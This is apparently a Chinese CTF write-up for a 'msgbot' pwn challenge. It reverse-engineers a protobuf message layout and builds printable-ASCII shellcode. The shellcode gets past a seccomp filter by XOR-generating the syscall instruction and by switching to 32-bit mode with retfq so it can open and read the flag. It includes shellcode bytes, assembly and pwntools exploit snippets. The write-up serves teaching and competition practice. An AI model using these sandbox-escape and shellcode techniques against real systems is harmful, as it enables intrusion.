只能接受特定格式的msgbot-protobuf+可见字符shellcode
字数 1097 2025-08-22 12:22:48

Protobuf结构体与可见字符Shellcode利用技术详解

一、Protobuf基础

1. Protobuf结构体定义

Protobuf(Protocol Buffers)是Google开发的一种数据序列化协议,其结构体定义示例如下:

syntax = "proto2";
message devicemsg {
    required sint64 actionid = 1;
    required sint64 msgidx = 2;
    required sint64 msgsize = 3;
    required bytes msgcontent = 4;
}

2. Protobuf参数结构体

Protobuf参数的结构体定义如下:

struct ProtobufCFieldDescriptor {
    const char *name;          // 参数名
    uint32_t id;               // 参数ID
    ProtobufCLabel label;      // 标签类型
    ProtobufCType type;        // 参数类型
    unsigned quantifier_offset;
    unsigned offset;
    const void *descriptor;
    const void *default_value;
    uint32_t flags;
    unsigned reserved_flags;
    void *reserved2;
    void *reserved3;
};

3. 标签类型(Label)

typedef enum {
    PROTOBUF_C_LABEL_REQUIRED,  // 必须字段(proto2)
    PROTOBUF_C_LABEL_OPTIONAL,   // 可选字段(proto2)
    PROTOBUF_C_LABEL_REPEATED,   // 可重复字段
    PROTOBUF_C_LABEL_NONE,       // proto3默认标签
} ProtobufCLabel;

4. 参数类型(Type)

typedef enum {
    PROTOBUF_C_TYPE_INT32,      // int32
    PROTOBUF_C_TYPE_SINT32,     // signed int32
    PROTOBUF_C_TYPE_SFIXED32,   // signed int32 (4 bytes)
    PROTOBUF_C_TYPE_INT64,      // int64
    PROTOBUF_C_TYPE_SINT64,     // signed int64
    PROTOBUF_C_TYPE_SFIXED64,   // signed int64 (8 bytes)
    PROTOBUF_C_TYPE_UINT32,     // unsigned int32
    PROTOBUF_C_TYPE_FIXED32,    // unsigned int32 (4 bytes)
    PROTOBUF_C_TYPE_UINT64,     // unsigned int64
    PROTOBUF_C_TYPE_FIXED64,    // unsigned int64 (8 bytes)
    PROTOBUF_C_TYPE_FLOAT,      // float
    PROTOBUF_C_TYPE_DOUBLE,     // double
    PROTOBUF_C_TYPE_BOOL,       // boolean
    PROTOBUF_C_TYPE_ENUM,       // enumerated type
    PROTOBUF_C_TYPE_STRING,     // UTF-8 or ASCII string
    PROTOBUF_C_TYPE_BYTES,      // arbitrary byte sequence
    PROTOBUF_C_TYPE_MESSAGE,    // nested message
} ProtobufCType;

二、Protobuf版本判定

  1. 根据结构体参数数量判断

    • proto2比proto3多一个default_value字段
    • 检查.data.rel.ro段中结构体名称下方的参数数量与实际是否一致
  2. 根据参数结构体有无label

    • proto2必须声明label,label值不为3(NONE)
    • proto3默认label为NONE(3),且不需要在proto文件中写出

三、Protobuf结构体分析

1. IDA分析示例

.data.rel.ro:0000000000003B80 off_3B80 dq offset aMsgid    ; "msgid"
.data.rel.ro:0000000000003B88 db 1                         ; id = 1
.data.rel.ro:0000000000003B8C db 3                         ; label = none
.data.rel.ro:0000000000003B90 db 3                         ; type = int64
...
.data.rel.ro:0000000000003C60 qword_3C60 dq 28AAEEF9h      ; 结构体名称
.data.rel.ro:0000000000003C88 dq 38h                       ; 结构体大小
.data.rel.ro:0000000000003C90 dq 3                         ; 字段数 = 实际字段数,是proto3

2. 编写proto文件

根据分析结果编写proto文件:

syntax = "proto3";
message Msgbot {
    int64 msgid = 1;
    int64 msgsize = 2;
    bytes msgcontent = 3;
}

3. 编译proto文件

使用以下命令编译:

python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. bot.proto

生成bot_pb2.pybot_pb2_grpc.py文件。

四、程序分析

1. 关键检查逻辑

if (msg[0][3] == (void *)0xC0DEFEEDLL && 
    msg[0][4] == (void *)0xF00DFACELL) {
    v0 = (unsigned int)msg[0][5];
    v1 = msg[0][6];
    check((__int64)v1, v0);
    seccomp((__int64)v1, v0, v2, v3, v4, v5);
    if (msg[0][5] <= (char *)&qword_C0 + 7 && v7 <= 0xC7) {
        memcpy(dest, *((const void **)msg[0] + 6), (size_t)msg[0][5]);
        ((void (*)(void))dest)();
    }
}

对应关系:

  • msg[0][3] → msgid
  • msg[0][4] → msgsize
  • msg[0][5] → msgcontent长度
  • msg[0][6] → msgcontent内容

2. Shellcode限制

  1. 长度限制:不大于0xC7字节
  2. 字符限制:必须为可见字符(ASCII 0x20-0x7E,不包括0x7F)
  3. 系统调用限制:仅允许read、write、fstat、alarm、exit_group

五、Shellcode构造技术

1. 绕过系统调用限制

由于syscall指令(0x0f05)不在可见字符范围内,需要通过异或构造:

# 构造syscall指令(0x0f05)
shellcode = b'\x68\x63\x69\x66\x66\x5e'  # push 0x66666963; pop rsi
shellcode += b'\x48\x31\x70\x20'         # xor qword ptr [rax+0x20], rsi
shellcode += b'\x53\x5f'                 # push rbx; pop rdi
shellcode += b'\x34\x22'                 # xor al, 0x22
shellcode += b'\x50\x5e'                 # push rax; pop rsi
shellcode += b'\x68\x63\x69\x66\x66\x5a' # push 0x66666963; pop rdx
shellcode += b'\x53\x58'                 # push rbx; pop rax
shellcode += b'\x50' * 8                 # push rax (填充)
shellcode += b'\x6c\x6c\x66\x66'         # 异或密钥(0x66666c6c ^ 0x66666963 = 0x50f)

2. 架构切换技术

使用retfq指令切换32/64位模式:

push 0x23       ; 32位模式选择子
push next_addr  ; 下一条指令地址
retfq           ; 切换至32位模式

3. 32位系统调用示例

mov eax, 5          ; open系统调用号
push ecx
pop ebx             ; ebx = 0
mov dword ptr [ecx], 0x6c662f2e  ; "./fl"
add ecx, 4
mov dword ptr [ecx], 0x6761      ; "ag"
xor ecx, ecx        ; flags = 0
xor edx, edx        ; mode = 0
int 0x80            ; 32位系统调用

六、完整利用流程

  1. 构造合法的Protobuf消息:

    from bot_pb2 import Msgbot
    msg = Msgbot()
    msg.msgid = 0xC0DEFEED
    msg.msgsize = 0xF00DFACE
    msg.msgcontent = shellcode
    serialized = msg.SerializeToString()
    
  2. 发送消息:

    r.sendafter(b'botmsg', serialized)
    
  3. 第二阶段Shellcode:

    shellcode = asm(shellcraft.read(3, 'rsp', 0x30))  # 读取更多数据
    shellcode += asm(shellcraft.write(1, 'rsp', 0x30)) # 输出数据
    r.send(shellcode)
    

七、工具与调试技巧

  1. pbtk工具:快速获取Protobuf结构体

    https://github.com/marin-m/pbtk
    
  2. 调试技巧

    • 使用si而非ni单步调试Shellcode
    • 使用seccomp-tools检查沙箱限制:
      r = process(["seccomp-tools", "dump", "./pwn"])
      
  3. 沙箱检查

    line  CODE  JT   JF      K
    =================================
    0000: 0x20 0x00 0x00 0x00000000  A = sys_number
    0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003
    0002: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0009
    0003: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0009
    0004: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0009
    0005: 0x15 0x03 0x00 0x00000005  if (A == fstat) goto 0009
    0006: 0x15 0x02 0x00 0x00000025  if (A == alarm) goto 0009
    0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009
    0008: 0x06 0x00 0x00 0x00000000  return KILL
    0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
    

八、总结

本技术要点包括:

  1. Protobuf结构体分析与构造
  2. 可见字符Shellcode的编码与构造
  3. 系统调用限制绕过技术
  4. 32/64位架构切换方法
  5. 沙箱环境下的利用技术

通过组合这些技术,可以在严格的字符和长度限制下实现有效的漏洞利用。

Protobuf结构体与可见字符Shellcode利用技术详解 一、Protobuf基础 1. Protobuf结构体定义 Protobuf(Protocol Buffers)是Google开发的一种数据序列化协议,其结构体定义示例如下: 2. Protobuf参数结构体 Protobuf参数的结构体定义如下: 3. 标签类型(Label) 4. 参数类型(Type) 二、Protobuf版本判定 根据结构体参数数量判断 : proto2比proto3多一个default_ value字段 检查.data.rel.ro段中结构体名称下方的参数数量与实际是否一致 根据参数结构体有无label : proto2必须声明label,label值不为3(NONE) proto3默认label为NONE(3),且不需要在proto文件中写出 三、Protobuf结构体分析 1. IDA分析示例 2. 编写proto文件 根据分析结果编写proto文件: 3. 编译proto文件 使用以下命令编译: 生成 bot_pb2.py 和 bot_pb2_grpc.py 文件。 四、程序分析 1. 关键检查逻辑 对应关系: msg[0][3] → msgid msg[0][4] → msgsize msg[0][5] → msgcontent长度 msg[0][6] → msgcontent内容 2. Shellcode限制 长度限制 :不大于0xC7字节 字符限制 :必须为可见字符(ASCII 0x20-0x7E,不包括0x7F) 系统调用限制 :仅允许read、write、fstat、alarm、exit_ group 五、Shellcode构造技术 1. 绕过系统调用限制 由于 syscall 指令(0x0f05)不在可见字符范围内,需要通过异或构造: 2. 架构切换技术 使用 retfq 指令切换32/64位模式: 3. 32位系统调用示例 六、完整利用流程 构造合法的Protobuf消息: 发送消息: 第二阶段Shellcode: 七、工具与调试技巧 pbtk工具 :快速获取Protobuf结构体 调试技巧 : 使用 si 而非 ni 单步调试Shellcode 使用seccomp-tools检查沙箱限制: 沙箱检查 : 八、总结 本技术要点包括: Protobuf结构体分析与构造 可见字符Shellcode的编码与构造 系统调用限制绕过技术 32/64位架构切换方法 沙箱环境下的利用技术 通过组合这些技术,可以在严格的字符和长度限制下实现有效的漏洞利用。